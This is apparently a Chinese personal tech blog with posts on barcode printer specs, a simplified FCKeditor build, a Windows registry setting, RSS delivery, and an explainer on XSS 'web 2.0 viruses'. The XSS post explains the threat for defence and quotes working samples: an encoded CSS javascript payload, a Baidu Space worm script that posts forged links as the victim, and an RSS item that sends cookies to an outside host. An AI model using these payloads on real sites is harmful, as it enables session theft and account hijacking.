高山流水
msgbartop
动之则分,静之则合,无过不及,随曲就伸。
msgbarbottom

28 二 07 条码打印机的技术参数

上学期末馆里要购买一台条码打印机,商业用机和工业用机质量差别还是比较明显,因此一直没能定下来。对于条码打印机,主要的技术参数有下面几处:
打印方式:
条码打印机一般采用热转印技术,即是通过打印头,将碳带上的碳粉经过加热的方式,转印到纸张上,这种打印方式具有长期保留,耐腐蚀,耐高温,不变形等优点。
分辨率:
分辨率指的是打印精度,也就是指在每英寸上可以打多少个点,单位为dpi。一般来说,300dpi的条码打印机比较的多。
打印速度:
打印速度是指单位时间内打印的最宽纸带的长度,单位为mm/s,对于这个技术指标,越大越好。
打印宽度:
打印宽度指的是能够打印的最大宽度范围,单位为mm,一般来说,应选择宽度大的。
打印长度:
打印长度指的是一次打印过程中的最大打印长度,单位为mm。
碳带长度:
碳带长度即是指条码打印机的耗材——碳带——有多长,磁带越长,打印的标签数量也就越多。
碳带宽度:
碳带宽度指的是碳带有多宽。
内存:
内存指条码打印机用来存储用户内容和打印数据的存储器,可以实现存储打印和打印缓冲的作用,内存当然越大越好。有些条码打印机支持闪存作补充。
接口类型:
接口类型指的是通过那种接口和电脑连接,一般的接口类型有并口、串口和USB接口,少部分还采用PS/2接口。一般来说,并口的速度较快,但线路较短,串口的速度较慢,但线路较长。现在USB接口的逐渐占据主流。
字体:
字体指的是通过条码打印机自身携带的字库,可以实现的字体种类和数量。一般来说,条码打印机能支持外部字库。
条码打印机最常见的牌子是zebra。

Tags: ,

27 二 07 开源组件 FCKeditor HTML在线编辑器asp简化版

我们在网页中输入内容的时候,总希望能够对内容进行初步的编辑,从而使文章看起来更加赏心悦目。在新浪博客,它是通过

这么一个工具栏实现这一功能的。这一类的工具栏称为HTML text
editor,国内一般称为HTML在线编辑器。

HTML在线编辑器的原理是为用户提供一个对输入内容进行初步编辑的环境,通过脚本将用户的操作内容存储在一个隐藏域,并使用一个IFRAME进行实时的显示,从而实现所见即所得的效果。

HTML在线编辑器一般采用JAVASCRIPT进行编写。实现一个简单的HTML在线编辑器是件很轻松的事情,但要实现一个功能全面的、运行效率高的HTML在线编辑器,并不容易,所以,在一般的web应用中,多采用第三方组件进行部署。
目前,应用得比较广泛的HTML在线编辑器主要有FCKeditor、eWebEditor、Tinymce、htmlarea、XStandard、WYSIWYG
Editor等。FCKeditor因其开源、免费、好用及持续更新的特点,受到了广大web程序员的青睐,占据了相关应用主要位置。目前FCKeditor版本为V2.4,是2007年1月29日在sourceforge上发布的。关于FCKeditor的介绍和使用,大家可以参考其官方网站:
http://www.fckeditor.net
FCKeditor的相关版本可以通过以下地址进行下载:
http://sourceforge.net/project/showfiles.php?group_id=75348&package_id=75845
在我看来,到了2.4版本,FCKeditor功能已经足够强大,但由于其强大的功能,所以在页面载入的时候显得有点慢,因此,对于一般的web应用而言,是需要对其进行减肥的。减肥措施不仅仅是删除范例和工具文件,也不仅仅是删除不需要的语言版本和程序版本,更重要的是针对自己所需要的功能对核心脚本进行简化,进行二次开发。
网友4ngel曾对FCKeditor进行了非常成功的精简,只保留了文字格式、对齐方式、项目编号、缩进、链接、图像、多媒体、表格及水平线等基本功能,这对于一般的web应用来说,足够了。
这里的FCKeditor
asp简化版是根据4ngel的简化版进行略微加工的,提供给图林中有需要的朋友们,希望大家的网站越做越好。
运行界面如下:

下载地址:miniFCKeditor.zip

Tags: ,

05 十二 06 对web2.0病毒的一点认识


^_^


web2.0的程序也写过那么几个了,一直没关心web2.0病毒的事情,查了些资料,觉得很有意思,可以说说。

 

首先我们要了解一个概念——XSS。XSS是Cross-Site
Scripting的缩写(因为CSS已经被用掉了),意思即是跨网站脚本,简单点说,就是某个网页(或者其他应用,如rss)上存在一段恶意脚本,当一个用户访问到这个应用时,这段恶意脚本是被浏览器信任的,于是浏览器就在用户不知情的情况下执行了这段脚本。而这段脚本可以做的事情包括:窃取COOKIES,sessions
tokens,以及其他存于浏览器上的信息,甚至可以重写你当前页面的内容。

 


举个简单的一个例子,噢,例子你已经体验了,刚打开这个页面的时候是不是弹出了个窗口,跟你
say hello 啊!嘿嘿,刚才没注意?那么刷新一下页面再试一次。

 


原因很简单,在这篇博客里面,我加入了这么一段经过编码的代码:

 

<DIV
STYLE=”background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0048\0065\006C\006C\006F\0027\0029\0029″>^_^</DIV>

 


呵呵,由于新浪的原因,必须经过编码。这段代码正常来写是:<DIV
STYLE=”background-image:url(javascript:alert(’Hello’))”>^_^</DIV>

 

你也许会说,我打开这个页面,弹个窗口跟我 say
hello,没有什么隐私信息,没什么不安全的啊。

 

那么如果我的脚本显示的是你的COOKIE信息呢?

 


你也许又会说,即使有隐私,也只有我自己看到,也没什么不安全的啊。

 


呵呵,虽然AJAX被设计为不能跨域访问,但通过脚本,依然可以以当前用户的身份执行相关操作,并将用户的信息传送至出去,比如以下一段曾经发生在百度空间的代码:

 

function()

{

var req = null;

//创建xmlHttpRequest对象,省略…..

if(window.XMLHttpRequest)

 req = new XMLHttpRequest();

else

…..

req.open(’get’,’.’,false);

req.send();

var s=req.responseText;

p=s.indexOf(’passport.baidu.com/?logout’);

if(p>0)

{

 p=s.indexOf(’<strong>’);

 if(p>0)

 {

   p=s.indexOf(’/',p);

   p2=s.indexOf(String.fromCharCode(34),p);

   var
user=s.substring(p+1,p2);

   var
name=’Here is a bad site’;

   var
link=’目标网址’;

   var
desc=’This link was added by an XSS script’;

   var
url=’/'+user+’/commit’;

  //-
-执行Ajax的数据异步调用,将数据传出,在用户不知情的情况下以用户身份执行了操作

  var
data=’ct=6&cm=1&spRef=’+escape(’http://hi.baidu.com/’+user)+’%2Fmodify%2Fbuddylink%2F0&spBuddyName=’+escape(name)+’&spBuddyURL=’+escape(link)+’&spBuddyIntro=’+escape(desc);

   req.open(’post’,url,false);

   req.send(data);

……


 

想想,如果这段代码出现在网上银行的系统中……

 


其实,由于这些注入的恶意脚本被浏览器认为是来自可信任源的,所以这些恶意脚本执行的用户所不知的操作——比如重写当前页面的内容,把用户提交账户信息的表单重定向到恶意服务器——浏览器是认为正常的。这并不是没有可能的事情。

 


XSS并不是2.0的时代出现的攻击方式,但在AJAX大行其道的2.0时代,的确给XSS提供了温床。今年6月20日爆发的Yamanner蠕虫病毒,还有7月份百度空间自动加为友情链接病毒,都是通过XSS进行侵入的。

 


不要以为只有页面会出现这个问题,web2.0标志性的RSS服务,一样躲不过XSS攻击。因为,不管在线的还是离线的RSS阅读器,都没有设计成很好的对脚本进行过滤,这样当攻击者将恶意代码向RSS中写入时,一样会导致跨站。举个之前发生在Yahoo的例子:

 

<item>

<title>Steal My Cookie!</title>

<link>javascript:%20document.location=’http://www.target.com/cookie.cgi?’%20+document.cookie;</link>


<!—获取用户在当前站点的cookies,并发送到恶意服务器–>

<description>Should Steal Your
Cookie.</description>

<pubDate>Tue, 20 Sep 2005 23:55:18 EDT</pubDate>

</item>

 

很简单的脚本,却有着惊人的攻击力。

 

怎么防范?

 


其实很难从根本上解决这一问题,由于相关技术先天设计的缺陷,人们只能从确保网络应用程序强大到足以没有漏洞,但现状是——基本上网络应用程序的设计都百密一疏,要好好填补住所有的漏洞,需要耗费大量的人力物力——这就是最好的办法。只有严格的执行了输入过滤,才有可能保证安全。可喜的是,当前已经有了一些工具,比如OWASP发布的codeseeker。

 


技术永远是一把双刃剑。这个时候,想起斋主的——借借还还”乃图书馆服务之“根”与“本”——这句话,颇为向往原生态的回归,哈哈~

Tags: ,

14 九 06 如何在不接网线的情况下使网卡配置生效

How to reserve your network adapter
configration without connecting?

检索词:网卡配置、不接网线、拔掉网线、网卡生效

keywords:network adapter configration、link state、Media
Sensing、connecting
今天老大在笔记本上配置了个vmware,用来安装linux,为了方便,笔记本当然不是随时都插着网线的,但拔掉网线之后,windows
xp里面的网卡的网络配置全部失效了,怎样才能够保证在不接网线的情况下是网卡设置生效呢?
在网上查了些文档,不是很多,绝大部分的解决办法是做一个自连的水晶头,然后插上(如果是千兆网卡还需要将网卡的配置改为100M),这种做法比较无聊啦,哈哈。当然也有解决方法是增加一个虚拟网卡,这个没试过,应该也可以的吧。
最后还是在msdn上找到了答案,其实只需要改动一个注册表值,让系统不检查网络的连接状态即可,具体操作如下:

打开注册表(regedit),找到以下键值:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters
增加一个DWORD项,项名为:DisableDHCPMediaSense,键值设为1,然后重启服务器即可。

原文内容参考如下:

Windows contains the “Media Sensing” feature. You may use
this feature on a Windows-based computer using Transmission Control
Protocol/Internet Protocol (TCP/IP) to detect whether your network
media is in a “link state.” A “link state” is defined as the
physical media connecting or inserting itself on the network. For
example, assuming a 10bt or 100bt physical media, Ethernet network
adapters and hubs typically have a “link” light to indicate the
current connection status. This is the same condition in which
Windows can detect a link. Whenever Windows detects a “down” state
on the media, it removes the bound protocols from that adapter
until it is detected as “up” again. There may be situations where
you may not want your network adapter to detect this state, and you
can configure this by editing the registry.

To prevent your network adapter from detecting the link state,
follow these steps.

Note NetBEUI and IPX do not recognize Media Sense.

1. Use Registry Editor (Regedt32.exe) to view the
following key in the registry:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

Add the following registry value:

Value Name: DisableDHCPMediaSense

Data Type: REG_DWORD -Boolean

Value Data Range: 0, 1 (False, True) Default: 0 (False)

Description: This parameter controls DHCP Media Sense behavior. If
you set this value data to 1, DHCP, and even non-DHCP, clients
ignore Media Sense events from the interface. By default, Media
Sense events trigger the DHCP client to take an action, such as
attempting to obtain a lease (when a connect event occurs), or
invalidating the interface and routes (when a disconnect event
occurs).

2. Restart your computer.

Note In Windows Server 2003, the function which controls
Media Sense was added to the cluster system. Even if the
DisableDHCPMediaSense is not set or 0 (False) is set in the
registry, the cluster system is changing Media Sense into disabled.
Then, because of the system which wants to make Media Sense enable,
the DisableClusSvcMediaSense registry value was introduced in the
SP1. You can set ON/OFF of the control function of the cluster
system by using the following registry subkey:

- Key: HKEY_LOCAL_MACHINE\Cluster\Parameters

- Value Name: DisableClusSvcMediaSense

- Data Type: REG_DWORD -Boolean

- Data Range: 0, 1 (False, True) - Default: 0 (False).

The DisableClusSvcMediaSense is default 0 (False). Therefore, the
control function is ON and Media Sense is disabled. You can set the
DisableClusSvcMediaSense to 1 (True). Then, the control function is
OFF. After that, you can use the DisableDHCPMediaSense registry to
set enable/disable of Media Sense. This is similar to the cluster
environment of the Windows 2000 Server.

Note If you disable the “Media Sensing” feature, you may
experience problems. For example, if you have a computer that has
two network adapters and you disable the “Media Sensing” feature,
if one network adapter does not work, it is unbound. Additionally,
if a default gateway is configured, associated routes are removed
so that all traffic goes through the other network adapter.

In another example, if the “Media Sensing” feature is disabled when
you disconnect the network cable from the computer, the “Local Area
Connection” icon in the notification area displays a “Network cable
is unplugged” status message. Additionally, you receive a “Media
State …..: Cable Disconnected” message when you run the
ipconfig command. However, in this case, the network adapter
is bound to TCP/IP. To verify that the network adapter is bound to
TCP/IP, view the route table. To view the route table, use the
route print command. The route table shows the IP address of
the network adapter. You can also use the ping command to
ping the IP address of your network adaptor to verify that the
network adapter is bound to TCP/IP.

Tags: , ,

12 九 06 实现RSS订阅的两个简单方式

其实,RSS阅读器从服务器获取的就是一个XML文件,所以我们可以通过提供静态XML文件或封装了XML数据的HTTP流方式提供服务。
对于第一种,我想可能是大多数图书馆最方便实施的,只要更新一下原有的信息发布程序(例如新闻系统),在提交新数据的时候,同时更新相应的XML文件,即可实现订阅服务。
然后,这一种方式不适合实现一些更多需求的功能,比如,某读者定义了他只需要的一部分订阅服务,那么我们的推送应该根据该读者的预定义,只提供其感兴趣的内容,这时,就需要以第二种方式,当读者请求的时候,再从数据库中获取相关信息实时发送给他。
现在有很多相关的辅助工具或程序可以很好的利用,ROME是用JAVA写的开源程序,遵循Apache
Software License
,运行环境需要J2SE 1.4+和JDOM
1.0
,它能转换并解析当前的所有聚合格式,当前版本为0.8Beta。
下载 ,教程API文档

Tags: ,